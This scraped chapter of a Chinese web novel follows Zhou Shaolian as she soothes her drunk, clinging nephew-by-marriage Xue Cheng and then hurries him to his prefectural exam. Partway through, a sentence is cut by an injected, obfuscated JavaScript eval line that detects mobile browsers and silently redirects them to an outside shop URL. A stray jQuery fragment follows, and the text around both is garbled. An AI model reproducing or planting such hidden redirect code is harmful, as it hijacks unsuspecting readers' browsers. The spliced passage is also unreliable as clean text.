“薛澄,你吓死我了!”
周少莲急喘了口气,天知道她方才以为房里进贼时有多害怕,如今听见熟悉的声音,一颗心才放回去。
身前人酒气浓重,明显是喝醉了。四周视线昏暗,周少莲拿起叠在床头的外衣披在肩头,然后下床点燃蜡烛。
点点暖光自掌心跳跃,照亮她柔和的侧脸。
回身一看,薛澄直接大剌剌倒在床上,一动不动的,等她一靠近,他猝然坐起身,双目游离,面颊泛红,看起来呆呆的,头顶还有几根翘起的发丝。
“周少莲,你为什么不理我?”
听这个称呼周少莲就知道薛澄是生气了。她把蜡烛移到他脸侧,轻声道:“姨母现在送你回房间好不好,你明天还得早起考试呢。”
“不好。”
少年眯着眼凑近了些,睫毛绒绒的,点漆般的眸子含着淡淡的幽怨。
“你还没回答我。”
这可真是难到周少莲了,她总不能说自己怀疑他根儿上出了毛病,故意疏远他其实是为了他好。
周少莲一时无话,下一刻就被薛澄捧住脸。
“我是不是做错了什么?”
“没有……”
少年眼里酝酿着漩涡,目光牢牢锁住她,双手猛地一使劲,她被带得凑到他脸前,能清晰地感受到因激动而喷涌在面上的滚烫气息。
“你今天一直在忽视我!”
周少莲呼吸微滞,转了转脑袋却无济于事,别看薛澄比她小七岁,力气却是她两倍不止。
醉酒后的人脾气都是这么暴躁吗?
傅远安滴酒不沾,唯一一次喝醉也不过是倒头就睡,这个问题周少莲无从得知。薛澄今日太反常,除此之外她想不到别的原因。
“狗狗儿,你弄疼我了,放开。”她抓住他的手腕往两边拉,或许是感受到她的抵触,少年渐渐卸了力。
周少莲以为是他清醒了些,结果还来不及后仰就肩上一沉,薛澄改为抓住她的双肩,猛地一发力,猝不及防将她抵在墙上。
他双目猩红,深深地看着她,周少莲只觉他的指甲都要嵌入到皮肉里,她半分动弹不得,即便是脾气再好的人也被搞得想发火了。
“薛澄!”
少年迅速靠过来,脑袋直往她颈窝钻,高挺的鼻梁在锁骨处压出红痕,周少莲有种自己被只养不熟的幼虎扑住的错觉,仿佛下一刻就要被咬下块肉来,心里登时警铃大作。
刚要出言教训他几句,有湿意自颈侧蔓延至领口,将她烫了一下。
少年抽噎几声,即便看不见脸,也可以听出他在极力压抑自己,每一个字都仿佛从唇缝中挤出。
“我做错了什么,你告诉我,我改就是,或者你骂我打我都行,就是不要不理我……这段时间我一直在认真读书,一定会考上童生的。周少莲,你再等等,我很快就长大了,我会对你好,比傅远安对你还好……你让我叫你姨母,我便真的把你当作姨母,何曾像对待外人一样戏弄过你?而你呢,听别人挑拨几句,便疏远我……爹娘不知生死,我如今只有你一个亲人了……”
说到最后已是泣不成声,周少莲的心口下起小雨,濡湿大片。薛澄不是没在她面前哭过,却从没有像此刻这般令人心尖酸胀。
从未有人这般依靠着自己,想到自己把个整天嬉皮笑脸的人逼成这副模样,她喉头一梗,登时愧疚起来,后悔做得太决绝,没有给薛澄适应的时间。
是啊,他现在可不是只有她了吗……
“别哭了,你先放开我。”周少莲拍了拍他的背,埋在颈侧的人静了静,与她拉开段距离,然后垂着头坐到床边,似是怕她会逃跑一样,竟然还抓着她的手腕。
再瞧那双眼睛,红彤彤的,看起来无助极了。
倒像是被谁欺负了。
周少莲心情复杂,以指擦去他面颊的泪痕,却被薛澄偏头躲去。
“我没哭。”
话虽如此,却不争气地哽咽。
周少莲听着憋闷,破罐子破摔地想,掰不过来就掰不过来吧,天底下娶不到媳妇的人那么多,不也活得好好的,她瞎操什么心呢?
她今日看着他湿着头发坐在马车里,也不擦,就那么任由头发滴水,晚上又看着他逞能喝酒,想方设法吸引自己的注意,通过作贱自己来赢得她的关注,难道就好受了?
“对不起,是姨母错了。”她晃了晃他的手,“别生姨母的气,我们和好吧。”
薛澄抬起脸,眼角还噙着泪,用最孩子气的语气说出最石破天惊的话。
“小时候我和我娘吵架,她会在我睡觉时亲我的脸,然后第二日我们就和好了。”
他嘟了嘟唇,泪汪汪的眼睛一眨,几滴晶莹滚落腮边,玉白的脸儿染上两团粉晕,整个人潋滟至极,如被人无情碾出汁水的山茶花。
靡艳,孱弱,我见犹怜。
这副情态引得人莫名想亲近一番,将人护在羽翼下安抚轻哄,周少莲微愣,心房被什么挠了一下。
她不确定自己是不是理解错了他的意思。
下一刻就听薛澄十分理直气壮道:“你现在立马亲我一下。”触及到她的眼神,他长睫微微抖动,薄唇也抿起。
周少莲彻底愣住了。
她虽然把薛澄当成小辈,但这种过于违礼的事,绝不可能答应他。
薛澄要是个几岁的孩童,这么做倒也罢了。只是他现在都比她还高了,怎么心智还那般幼稚?
“不行,男孩子要……”周少莲绞尽脑汁地想,福至心灵道,“要坚强!”
“男孩子就不能哭,不能亲了?”薛澄好不容易点亮的眸子暗淡下去,他沉默一会,似乎想到什么,提高声音道,“那你也不许亲傅远安,他都快三十了!”
周少莲冷不防被他说得红了脸,支支吾吾道:“没有那回事……”
就是刚成亲的时候,她和傅远安也是以礼相待,仅有的一次亲吻是傅远安那次醉酒,便轻狂了些。
周少莲细细回想一番,在薛澄面前她和傅远安应是很得体的,略安了心,继续道:“这种轻浮的话,千万不要在你姨父面前说,他脸皮薄,要恼你的。”
“那你怎么不恼我呢?原来姨母脸皮厚。”
“你若和他一般年纪,是个及冠男子,我便恼你了。”
少年忽然低头朝她胸口靠过来,周少莲浑身一僵,下意识要推开,却见他顿住,伸出手指碰了碰红绳所系的石头。
她能感受到他戳动石头时微微的震颤传到肌肤。
“这石头,从哪儿买的,真丑……”
周少莲被他的话逗笑,方才一瞬间的警惕荡然无存,她看着他细密的睫毛,回道:“一点也不丑。”
薛澄却不说话了,静静靠在床头,呼吸平稳匀称。
竟是睡着了。
闹了这许久,天都黑尽了,周少莲把人推到床上躺好,然后盖好被子,准备去找张翠娥。
一开门就听见隔壁传来男女的说话声,她抬手敲门,果然见张翠娥走出来,十分歉意道:“少莲妹子,对不住,万元实在不像话,自己酒瘾犯了就罢了,还带着狗狗儿喝。还好狗狗儿机灵,他喝得少知道过来知会我一声,不然万元得拉死在净房里。我得看着我家那个,今晚就不到你那边了。旁边还有间空屋,这些钱你拿着,狗狗儿一个人睡也舒坦些……”
听张翠娥的说法,薛澄似乎没喝多少?都醉成那样了,显见的酒量不好,周少莲默默记下,收了钱自己去大堂找店小二。
她回到房间见薛澄睡得正香,没忍心叫他起来,自己去了新要的那间房睡下。
或许是记挂第二日的府试,这一夜周少莲睡得很轻,生怕错过时间。
一声响亮的鸡鸣过后,客栈里所有人都忙碌起来,周少莲趴在窗口往下看,路上挤满马车,都在朝一个方向行驶,她一个激灵,赶忙去敲门,谁成想薛澄睡得老沉,许久都不曾开门。
她急得在外面喊他的名字,还是无济于事。
眼看着客栈里的学子都要走空了,怕错过时间,周少莲去找店家,找了个身手利索的小子从隔壁屋子的窗户翻过去,才把房门打开。
进去一看,薛澄抱着被子呼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873630|211999||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
呼大睡。
“心真大!自己的事都不着急!”张翠娥在旁边大骂一声,见都这关头了周少莲还又轻又柔地去推他,生怕不把他哄睡着似的,不由心头火起,抓住床上人两条腿儿,一使力就把人拖到地底下,抓过帕子胡乱在他面上一抹,“齐整了,走,出门!”
“疼!”薛澄不耐地抱怨,这下瞌睡全醒了。
周少莲和万元全程在旁边看着,一句话不敢说。
张翠娥路过时脚步一顿,冒火道:“你们两个杵在那儿干嘛,也给我走!”
两人夹着尾巴跟在她后面,脸上都有些讪讪。出了事情,周少莲才意识到傅远安有多么明智,她们这一行有张翠娥这个主心骨,在关键时刻可以通过雷霆手段省去很多麻烦。
三人被张翠娥赶羊似的赶下楼,好不容易出了门,没多久万元从马厩里跑出来,急得满头大汗。
不知哪家人牵错马,把他们的那匹带走了,现在只剩下个车厢在地上,时间本就不宽裕,要是走路过去保准迟到。
张翠娥破口大骂:“哪个挨千刀的不长眼,自家的马都能认错,我要去报官抓这个偷马贼!”
万元左右踱步:“现在报官也来不及了,还有一刻钟就进场,该如何是好!”
周少莲准备去找店小二问问还有没有多的马,想找客栈借用一匹,薛澄却伸手拦下她,沉声道:“不必,安雨泽还没走,我们搭乘他的马车去。”
“好。”周少莲看了一眼握住自己手腕的手,下一刻薛澄就松开她,两人对视一眼,有种微妙的凝滞感在两人之间传递。
恰此时,安家的马车经过,薛澄左跨一步挡在路中间,然后与马夫交涉几句,那马夫听说来人是少爷同窗,便收起鞭子钻入车厢,里面响起低低的交谈声。
车帘里探出一颗圆滚滚的脑袋,大眼少年左右打量一圈,出言道:“搭车可以,但是我家马车小,容不下你们这么多人,最多能挤两个,你们谁跟着薛狗子一起去,快点决定。”
薛狗子……
周少莲抿唇笑了笑,见薛澄咬牙切齿的样子,明显是在忍耐。
安雨泽仿佛看不见似的,笑得极为猖狂,昂着下巴道:“过时不候啊。”
马车外的一行人你看我我看你,一时拿不定主意,最后是万元站了出来。
“我陪薛澄去,你们两个在客栈等着。”
不亲眼看着薛澄进考场,周少莲不放心,也跟着道:“还是我去吧。”
她看向薛澄,实则心里已经有七八分的把握,就他那个巴不得时刻与她呆在一起的粘腻劲,不选她还能选谁呢?
薛澄丝毫没犹豫,很快道:“我一人去。”
周少莲愕然愣在原地,或许是她的表情太明显,薛澄本来已经一只脚登上马车,又旋身回来与她解释。
“府试一考就是一整天,你总不能一直待在马车里,再说安家也不是什么知根知底的人家,我与那安老二还有所牵扯,要是安雨泽知道之前的事,借此找你麻烦……”
万元上前一步道:“我去,我不怕他们。”
薛澄摇头,视线再次落回周少莲脸上。
“不好,人生地不熟,你和张婶两个人住在客栈,没有男人在旁边护着,我不放心。”
周少莲听着他郑重的语气,莫名晃神,有一瞬间她觉得他有些陌生,不是那个撒娇卖乖的小小少年,而是和傅远安一般深沉的成年男子。
“府试凑满三十人便可以提前交卷,我无意争名次,后面几场覆试可以不去。难得傅远安不在,你在客栈乖乖等我。晚上我早点回来,陪你去城里逛逛。”他凑到她耳边轻轻笑了一声,“今日城里有灯会,姨母给我买一盏螃蟹灯吧,就当是提前奖励我……”
周少莲心头大动,遥想上次看灯会,还是在四五岁时。一听能出门逛街,她立刻丢下为人妻的庄重,欢欣地扬起嘴角,眼睛笑成月牙。
她下意识地答道:“我在家里等你回来。”
美目一弯,眼底水波荡漾着飘了过来,薛澄怔了怔,朝后面的张翠娥和万元点了下头,迅速钻入马车。